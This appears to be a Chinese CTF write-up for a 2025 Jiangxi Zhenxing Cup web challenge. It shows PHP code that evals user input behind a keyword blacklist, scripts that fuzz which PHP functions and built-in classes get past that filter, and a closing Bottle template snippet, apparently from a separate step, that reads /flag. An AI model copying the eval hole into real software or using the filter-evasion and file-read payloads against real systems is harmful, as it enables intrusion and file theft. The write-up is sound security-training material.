2025-江西省振兴杯


web

web1

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
echo $cmd;
if(!preg_match("/\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\'|\"|\<|\.|\>|\/|\?|\\\\|\||[0-9]|limiter|unparsed|gzhandler|quotes|ttyname|diff|decl|fileatime|type|implode|gzgetc|hexdec|strimwidth|encodings|function|shorthash|cfg|gmdate|fputcsv|xml|caches|sleep|finish|mlsd|peak|continue|interfaces|kill|register|aliases|aead|rewrite|pwhash|verify|chgrp|nanosleep|static|setgid|json|strchr|token|boolval|getmyinode|clearstatcache|ob|cdata|output|extract|loader|challenge|number|limit|rename|dh|gztell|rawlist|errors|value|uassoc|getpid|mx|modify|install|acos|strstr|digit|phpcredits|ftruncate|arsort|secretkey|linkinfo|tan|to|wordwrap|unshift|end|locations|from|byte|floor|secretbox|interface|printf|local|unregister|dir|bucket|reverse|bytes|flock|compare|getpwnam|getegid|checkdate|strrchr|uksort|pack|generichash|search|unpack|regenerate|html|constants|sqrt|chars|shuffle|scandir|values|exists|real|opendir|preg|sum|identifiers|setpgid|diskfreespace|stristr|getsid|grep|strpos|url|rehash|flip|full|backtrace|bin2base64|getservbyport|timezone|ed25519|language|finfo|digest|subject|scryptsalsa208sha256|alter|derive|timestamp|internal|ftell|max|funcs|context|regs|gzopen|uintersect|temp|detached|geteuid|subclass|save|keypair|levenshtein|timeout|ns|index|stripslashes|expire|drivers|addcslashes|rad2deg|parser|decbin|strnatcasecmp|gethostbyname|sin|meta|udiff|sent|apply|crypto|acosh|substr|log|ssl|fileperms|remove|dtd|options|included|call|fputs|writable|mem|splice|request|property|size|sprintf|in|mail|of|round|feof|realpath|seed|on|strtr|unset|localtime|strpbrk|tanh|gzcompress|recvfrom|strnatcmp|current|pkcs7|filemtime|struct|params|chown|graph|fstat|long2ip|sodium|traits|alpha|lstat|session|path|sunset|urlencode|executable|tick|indent|natsort|string|asinh|stripcslashes|rmdir|strripos|fastcgi|convert|pop|hebrevc|open|strtoupper|trim|sapi|magic|seal|getimagesize|sendto|autoload|implicit|send|ukey|history|floatval|ref|arg|quoted|format|strcspn|iptcembed|getloadavg|intval|uri|lower|nb|initgroups|multisort|name|mimeheader|total|phpversion|pi|list|fgetcsv|rekey|rawurlencode|rewind|user|getgroups|iterator|exception|octdec|ftp|bindec|quote|details|getpgid|strftime|pasv|strncasecmp|crc32|getmygid|into|coding|iv|init|new|closedir|fmod|deg2rad|instruction|quotemeta|escapeshellarg|doubleval|sub|rot13|sinh|restore|gzuncompress|log10|gzread|commit|gethostbynamel|mime|gmstrftime|usort|namespace|filegroup|csr|mkfifo|record|element|mberegi|len|disable|bin2hex|printable|lchgrp|combine|attribute|gzpassthru|gethostbyaddr|cache|settype|mbereg|runtime|load|xmlwriter|setegid|syslog|sun|nl2br|asort|fseek|gethostname|pos|set|getservbyname|site|abbr|mhash|kx|vsprintf|expm1|popen|push|eregi|umask|getpgrp|gzdecode|uses|module|repeat|close|connect|openssl|s2k|declared|default|isatty|float|debug|system|getallheaders|contents|chr|abbreviations|getprotobyname|ezmlm|ntop|fnmatch|x509|fprintf|gzeof|rsort|uname|addslashes|pk|getmxrr|gmmktime|func|vars|character|checkpurpose|image|getrandmax|source|handlers|auth|cert|extension|dirname|apache|getcsv|class|hypot|soundex|start|vprintf|first|pair|redisplay|space|array|build|use|cos|fscanf|block|socket|callable|getimagesizefromstring|notation|setlocale|fill|iptcparse|hash|word|parse|forward|get|transitions|mbregex|compact|gzgetss|flush|map|compute|sys|alloc|fgetss|sign|getdate|spl|usleep|length|uudecode|gzgets|put|methods|errno|uuencode|bool|lcfirst|location|systype|files|strrpos|key|localeconv|getrusage|prev|rtrim|pbkdf2|random|gc|tags|ftok|available|define|sort|scalarmult|deflate|dom|range|crypt|has|buffer|pow|regex|lock|hex2bin|match|closelog|is|reduce|stat|enable|setpos|resolve|sha1|assert|all|functions|gettimeofday|pull|gzclose|dechex|uasort|append|getgid|connection|var|classes|clean|null|gzrewind|accept|prepend|lcg|column|xchacha20poly1305|sunrise|detect|strcmp|select|uploaded|alnum|openlog|trigger|spki|update|strrichr|getenv|numeric|natcasesort|change|getgrnam|zlib|ctype|stripos|getrlimit|blocking|id|putenv|tmpfile|reporting|cycles|abs|getpwuid|browser|lchown|processing|constant|setcookie|print|args|alias|unserialize|sizeof|fget|rawurldecode|getprotobynumber|libxml|import|explode|cosh|unlink|pclose|level|privatekey|file|ucwords|getlogin|quit|strip|keygen|loaded|simplexml|filectime|assoc|infinite|encoding|symlink|strncmp|memcmp|cipher|escapeshellcmd|supports|move|http|secretstream|wrapper|htmlentities|response|make|fsockopen|gzwrite|export|getuid|mbsplit|money|highlight|pathinfo|ord|line|ceil|zend|filter|writeable|rewinddir|product|resources|split|gzencode|decode|wrappers|base64|shift|gpc|private|server|passthru|curve|and|krsort|handler|isodate|pdo|ietf|atan|gzputs|ireplace|ltrim|flags|atanh|touch|hebrev|punct|include|vfprintf|status|fread|memzero|utf8|header|gzseek|similar|keys|unpad|external|immutable|log1p|filetype|order|char|called|metaphone|seteuid|rand|final|intdiv|times|strerror|strlen|xdigit|show|slice|getpos|atan2|serialize|pkcs12|mktime|getcwd|readfile|cntrl|setsid|nl|copy|hmac|pad|posix|cyr|disk|strtok|merge|info|pseudo|time|readgzfile|htmlspecialchars|nice|fgets|entity|comment|ini|implements|getmyuid|algos|ignore|readlink|md|memory|getopt|method|login|fwrite|until|aborted|fopen|preferred|intersect|gzinflate|mkdir|error|defined|fclose|strtotime|tempnam|next|strspn|callback|variables|scrub|date|mb|public|input|ctermid|reset|strcasecmp|fingerprint|hrtime|usage|whitespace|msg|content|getgrgid|needs|ip2long|decrypt|cookie|xor|strcoll|langinfo|publickey|decoct|setrawcookie|srand|strwidth|enabled|free|check|checkdnsrr|stream|getregs|strval|fpm|kdf|pkey|chmod|nan|min|required|shutdown|names|fpassthru|case|chacha20poly1305|setrlimit|scalar|filesize|nlist|collect|equals|aes256gcm|exec|upper|shell|urldecode|getmypid|delete|chunk|fgetc|mt|gzdeflate|strptime|terminate|fileinode|read|encode|count|scanned|option|ucfirst|exp|clear|version|num|microtime|replace|streams|data|sk|dump|create|walk|increment|readable|readdir|numericentity|document|text|gettype|sscanf|getppid|fileowner|object|link|str|double|trait|long|encrypt|query|destroy|kana|int|filters|recursive|each|mdtm|fflush|chdir|finite|dns|extensions|mknod|headers|strtolower|join|proc|cdup|base|pfsockopen|base642bin|raw|setuid|md5|php|attlist|curve25519|parents|abort|getlastmod|uniqid|table|asin|interval|iconv|fput|substitute|last|pton|password|pwd|inet|countable|translation|client|transports|readline|strrev|glob|resource|zval|integer|parent|strcut|ereg|box|idate|inflate|chop|unique|gzfile|iterable|net|add|code|hkdf|write|ksort|completion|offset|access|require|echo|if/i", $cmd)){
    eval($cmd);
}else{
    echo "?";
} 

写一个爬虫脚本把php函数全部搞下来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from bs4 import BeautifulSoup
import re

def extract_php_functions():
    url = "https://www.php.net/manual/zh/indexes.functions.php"
    
    try:
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        
        response = requests.get(url, headers=headers, timeout=10)
        response.encoding = 'utf-8'
        
        if response.status_code != 200:
            print(f"请求失败,状态码: {response.status_code}")
            return
        
        soup = BeautifulSoup(response.text, 'html.parser')
        functions = []
        
        # 查找所有函数链接
        function_links = soup.find_all('a', href=re.compile(r'function\.'))
        
        for link in function_links:
            function_name = link.get_text().strip()
            
            # 过滤条件
            if (function_name and 
                len(function_name) > 1 and 
                not function_name.startswith(('http', '#', '手册', '函数列表')) and
                '::' not in function_name and  # 排除类方法
                '\\' not in function_name and  # 排除命名空间
                not any(bad in function_name.lower() for bad in ['commonmark', 'dom', 'gearman', 'lua']) and
                re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', function_name)):  # 只保留纯函数名
                
                functions.append(function_name)
        
        # 去重并排序
        functions = sorted(list(set(functions)))
        
        # 保存到文件,只保存函数名
        with open('1.txt', 'w', encoding='utf-8') as f:
            for func in functions:
                f.write(func + '\n')
        
        print(f"成功提取了 {len(functions)} 个函数名,已保存到 1.txt")
        

            
    except Exception as e:
        print(f"发生错误: {e}")

if __name__ == "__main__":
    extract_php_functions()

然后再看看哪些函数可以用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// 读取2.txt文件中的函数列表
$functions = file('1.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// 打开3.txt用于写入结果
$outputFile = fopen('3.txt', 'w');

if ($functions === false) {
    die("无法读取1.txt文件\n");
}

if ($outputFile === false) {
    die("无法创建3.txt文件\n");
}

$passedCount = 0;
$totalCount = count($functions);

foreach ($functions as $function) {
    $cmd = trim($function);
    
    // 使用与原始代码相同的过滤逻辑
    if(!preg_match("/\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\'|\"|\<|\.|\>|\/|\?|\\\\|\||[0-9]|limiter|unparsed|gzhandler|quotes|ttyname|diff|decl|fileatime|type|implode|gzgetc|hexdec|strimwidth|encodings|function|shorthash|cfg|gmdate|fputcsv|xml|caches|sleep|finish|mlsd|peak|continue|interfaces|kill|register|aliases|aead|rewrite|pwhash|verify|chgrp|nanosleep|static|setgid|json|strchr|token|boolval|getmyinode|clearstatcache|ob|cdata|output|extract|loader|challenge|number|limit|rename|dh|gztell|rawlist|errors|value|uassoc|getpid|mx|modify|install|acos|strstr|digit|phpcredits|ftruncate|arsort|secretkey|linkinfo|tan|to|wordwrap|unshift|end|locations|from|byte|floor|secretbox|interface|printf|local|unregister|dir|bucket|reverse|bytes|flock|compare|getpwnam|getegid|checkdate|strrchr|uksort|pack|generichash|search|unpack|regenerate|html|constants|sqrt|chars|shuffle|scandir|values|exists|real|opendir|preg|sum|identifiers|setpgid|diskfreespace|stristr|getsid|grep|strpos|url|rehash|flip|full|backtrace|bin2base64|getservbyport|timezone|ed25519|language|finfo|digest|subject|scryptsalsa208sha256|alter|derive|timestamp|internal|ftell|max|funcs|context|regs|gzopen|uintersect|temp|detached|geteuid|subclass|save|keypair|levenshtein|timeout|ns|index|stripslashes|expire|drivers|addcslashes|rad2deg|parser|decbin|strnatcasecmp|gethostbyname|sin|meta|udiff|sent|apply|crypto|acosh|substr|log|ssl|fileperms|remove|dtd|options|included|call|fputs|writable|mem|splice|request|property|size|sprintf|in|mail|of|round|feof|realpath|seed|on|strtr|unset|localtime|strpbrk|tanh|gzcompress|recvfrom|strnatcmp|current|pkcs7|filemtime|struct|params|chown|graph|fstat|long2ip|sodium|traits|alpha|lstat|session|path|sunset|urlencode|executable|tick|indent|natsort|string|asinh|stripcslashes|rmdir|strripos|fastcgi|convert|pop|hebrevc|open|strtoupper|trim|sapi|magic|seal|getimagesize|sendto|autoload|implicit|send|ukey|history|floatval|ref|arg|quoted|format|strcspn|iptcembed|getloadavg|intval|uri|lower|nb|initgroups|multisort|name|mimeheader|total|phpversion|pi|list|fgetcsv|rekey|rawurlencode|rewind|user|getgroups|iterator|exception|octdec|ftp|bindec|quote|details|getpgid|strftime|pasv|strncasecmp|crc32|getmygid|into|coding|iv|init|new|closedir|fmod|deg2rad|instruction|quotemeta|escapeshellarg|doubleval|sub|rot13|sinh|restore|gzuncompress|log10|gzread|commit|gethostbynamel|mime|gmstrftime|usort|namespace|filegroup|csr|mkfifo|record|element|mberegi|len|disable|bin2hex|printable|lchgrp|combine|attribute|gzpassthru|gethostbyaddr|cache|settype|mbereg|runtime|load|xmlwriter|setegid|syslog|sun|nl2br|asort|fseek|gethostname|pos|set|getservbyname|site|abbr|mhash|kx|vsprintf|expm1|popen|push|eregi|umask|getpgrp|gzdecode|uses|module|repeat|close|connect|openssl|s2k|declared|default|isatty|float|debug|system|getallheaders|contents|chr|abbreviations|getprotobyname|ezmlm|ntop|fnmatch|x509|fprintf|gzeof|rsort|uname|addslashes|pk|getmxrr|gmmktime|func|vars|character|checkpurpose|image|getrandmax|source|handlers|auth|cert|extension|dirname|apache|getcsv|class|hypot|soundex|start|vprintf|first|pair|redisplay|space|array|build|use|cos|fscanf|block|socket|callable|getimagesizefromstring|notation|setlocale|fill|iptcparse|hash|word|parse|forward|get|transitions|mbregex|compact|gzgetss|flush|map|compute|sys|alloc|fgetss|sign|getdate|spl|usleep|length|uudecode|gzgets|put|methods|errno|uuencode|bool|lcfirst|location|systype|files|strrpos|key|localeconv|getrusage|prev|rtrim|pbkdf2|random|gc|tags|ftok|available|define|sort|scalarmult|deflate|dom|range|crypt|has|buffer|pow|regex|lock|hex2bin|match|closelog|is|reduce|stat|enable|setpos|resolve|sha1|assert|all|functions|gettimeofday|pull|gzclose|dechex|uasort|append|getgid|connection|var|classes|clean|null|gzrewind|accept|prepend|lcg|column|xchacha20poly1305|sunrise|detect|strcmp|select|uploaded|alnum|openlog|trigger|spki|update|strrichr|getenv|numeric|natcasesort|change|getgrnam|zlib|ctype|stripos|getrlimit|blocking|id|putenv|tmpfile|reporting|cycles|abs|getpwuid|browser|lchown|processing|constant|setcookie|print|args|alias|unserialize|sizeof|fget|rawurldecode|getprotobynumber|libxml|import|explode|cosh|unlink|pclose|level|privatekey|file|ucwords|getlogin|quit|strip|keygen|loaded|simplexml|filectime|assoc|infinite|encoding|symlink|strncmp|memcmp|cipher|escapeshellcmd|supports|move|http|secretstream|wrapper|htmlentities|response|make|fsockopen|gzwrite|export|getuid|mbsplit|money|highlight|pathinfo|ord|line|ceil|zend|filter|writeable|rewinddir|product|resources|split|gzencode|decode|wrappers|base64|shift|gpc|private|server|passthru|curve|and|krsort|handler|isodate|pdo|ietf|atan|gzputs|ireplace|ltrim|flags|atanh|touch|hebrev|punct|include|vfprintf|status|fread|memzero|utf8|header|gzseek|similar|keys|unpad|external|immutable|log1p|filetype|order|char|called|metaphone|seteuid|rand|final|intdiv|times|strerror|strlen|xdigit|show|slice|getpos|atan2|serialize|pkcs12|mktime|getcwd|readfile|cntrl|setsid|nl|copy|hmac|pad|posix|cyr|disk|strtok|merge|info|pseudo|time|readgzfile|htmlspecialchars|nice|fgets|entity|comment|ini|implements|getmyuid|algos|ignore|readlink|md|memory|getopt|method|login|fwrite|until|aborted|fopen|preferred|intersect|gzinflate|mkdir|error|defined|fclose|strtotime|tempnam|next|strspn|callback|variables|scrub|date|mb|public|input|ctermid|reset|strcasecmp|fingerprint|hrtime|usage|msg|content|getgrgid|needs|ip2long|decrypt|cookie|xor|strcoll|langinfo|publickey|decoct|setrawcookie|srand|strwidth|enabled|free|check|checkdnsrr|stream|getregs|strval|fpm|kdf|pkey|chmod|nan|min|required|shutdown|names|fpassthru|case|chacha20poly1305|setrlimit|scalar|filesize|nlist|collect|equals|aes256gcm|exec|upper|shell|urldecode|getmypid|delete|chunk|fgetc|mt|gzdeflate|strptime|terminate|fileinode|read|encode|count|scanned|option|ucfirst|exp|clear|version|num|microtime|replace|streams|data|sk|dump|create|walk|increment|readable|readdir|numericentity|document|text|gettype|sscanf|getppid|fileowner|object|link|str|double|trait|long|encrypt|query|destroy|kana|int|filters|recursive|each|mdtm|fflush|chdir|finite|dns|extensions|mknod|headers|strtolower|join|proc|cdup|base|pfsockopen|base642bin|raw|setuid|md5|php|attlist|curve25519|parents|abort|getlastmod|uniqid|table|asin|interval|iconv|fput|substitute|last|pton|password|pwd|inet|countable|translation|client|transports|readline|strrev|glob|resource|zval|integer|parent|strcut|ereg|box|idate|inflate|chop|unique|gzfile|iterable|net|add|code|hkdf|write|ksort|completion|offset|access|require|echo|if/i", $cmd)){
        // 如果没有被过滤,写入3.txt
        fwrite($outputFile, $cmd . "\n");
        $passedCount++;
    }
}

fclose($outputFile);

echo "处理完成!\n";
echo "总共处理了 {$totalCount} 个函数\n";
echo "通过过滤的函数: {$passedCount}\n";
echo "结果已保存到 3.txt\n";

// 显示前几个通过过滤的函数作为示例
if ($passedCount > 0) {
    echo "\n前10个通过过滤的函数:\n";
    $passedFunctions = file('3.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    for ($i = 0; $i < min(10, count($passedFunctions)); $i++) {
        echo ($i + 1) . ". " . $passedFunctions[$i] . "\n";
    }
}
?>

发现这些

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
apcu_cas
apcu_dec
apcu_entry
apcu_fetch
bccomp
bcmod
bcmul
bcscale
bzcompress
bzdecompress
com_message_pump
dba_fetch
dba_optimize
dba_sync
die
dio_fcntl
dio_seek
dio_truncate
dl
easter_days
eio_busy
eio_cancel
eio_event_loop
eio_fsync
eio_grp
eio_grp_cancel
eio_nop
eio_nreqs
eio_poll
eio_seek
eio_sync
eio_syncfs
eio_truncate
empty
enchant_broker_describe
enchant_dict_describe
enchant_dict_suggest
eval
exit
fann_run
fann_test
fbird_affected_rows
fbird_backup
fbird_drop_db
fbird_fetch_row
fbird_prepare
fbird_rollback
fbird_rollback_ret
fbird_service_attach
fbird_service_detach
fbird_wait_event
fsync
geoip_db_avail
gmp_clrbit
gmp_cmp
gmp_com
gmp_fact
gmp_lcm
gmp_mod
gmp_mul
gmp_neg
gmp_or
gmp_perfect_square
gmp_root
gmp_rootrem
gmp_testbit
ldap_escape
ldap_exop
ldap_exop_passwd
ldap_exop_sync
ldap_exop_whoami
ldap_mod_del
ldap_mod_del_ext
lzf_compress
lzf_decompress
lzf_optimized_for
mqseries_back
mqseries_cmit
mysql_affected_rows
mysql_drop_db
mysql_fetch_field
mysql_fetch_row
mysql_field_seek
mysql_result
mysqli_report
oci_cancel
oci_fetch
oci_fetch_row
oci_field_scale
oci_result
oci_rollback
ocicancel
ociresult
ocirollback
odbc_cursor
odbc_do
odbc_fetch_row
odbc_field_scale
odbc_prepare
odbc_result
odbc_rollback
pcntl_alarm
pcntl_fork
pcntl_rfork
pcntl_wait
pcntl_wtermsig
pg_affected_rows
pg_escape_literal
pg_fetch_result
pg_fetch_row
pg_host
pg_lo_seek
pg_lo_tell
pg_lo_truncate
pg_port
pg_prepare
pg_result_seek
pg_trace
pg_tty
pg_untrace
ps_arc
ps_arcn
ps_circle
ps_clip
ps_hyphenate
ps_rect
ps_rotate
ps_scale
pspell_suggest
radius_demangle
rnp_supported_features
rpmvercmp
rrd_fetch
rrd_tune
rrd_xport
sem_acquire
sem_release
shm_attach
shm_detach
sqlsrv_cancel
sqlsrv_fetch
sqlsrv_prepare
sqlsrv_rollback
sqlsrv_rows_affected
svn_blame
svn_cat
svn_fs_node_prop
svn_fs_txn_root
svn_fs_youngest_rev
svn_ls
svn_revert
swoole_event_defer
swoole_event_del
swoole_event_exit
swoole_event_wait
trader_ad
trader_adosc
trader_adx
trader_adxr
trader_apo
trader_atr
trader_avgprice
trader_beta
trader_bop
trader_cci
trader_cdlbelthold
trader_cdlbreakaway
trader_cdldarkcloudcover
trader_cdldoji
trader_cdlhammer
trader_cdlharami
trader_cdlharamicross
trader_cdlhighwave
trader_cdlhikkake
trader_cdlhikkakemod
trader_cdlmarubozu
trader_cdlmathold
trader_cdlrickshawman
trader_cdltasukigap
trader_cmo
trader_correl
trader_dema
trader_dx
trader_ema
trader_ht_dcperiod
trader_kama
trader_ln
trader_ma
trader_macd
trader_macdext
trader_macdfix
trader_mama
trader_mavp
trader_medprice
trader_mfi
trader_mom
trader_mult
trader_natr
trader_plus_di
trader_plus_dm
trader_ppo
trader_roc
trader_rocp
trader_rocr
trader_rsi
trader_sar
trader_sarext
trader_sma
trader_stddev
trader_tema
trader_trix
trader_tsf
trader_typprice
trader_wclprice
trader_willr
trader_wma
uopz_backup
uopz_implement
virtual
xattr_supported
yaml_emit
yaz_es
yaz_es_result
yaz_hits
yaz_scan
yaz_scan_result
yaz_schema
yaz_syntax
yaz_wait

考虑到还有原生类函数,先跑出所有的魔术方法的原生类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 打开文件用于写入
$file = fopen('4.txt', 'w');

$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__construct',
            '__destruct',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__sleep',
            '__wakeup',
            '__serialize',
            '__unserialize',
            '__toString',
            '__invoke',
            '__set_state',
            '__clone',
            '__debugInfo'
        ))) {
            $line = $class . '::' . $method . "\n";
            fwrite($file, $line); // 写入文件
        }
    }
}

fclose($file); // 关闭文件
echo "结果已输出到 4.txt 文件中\n";

再fuzz,发现这4个可以用

1
2
3
4
Fiber
Phar
SoapFault
SoapParam
1
2
3
4
5
'''
% from bottle import abort
% a = open('/flag').read()
% end
'''
谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计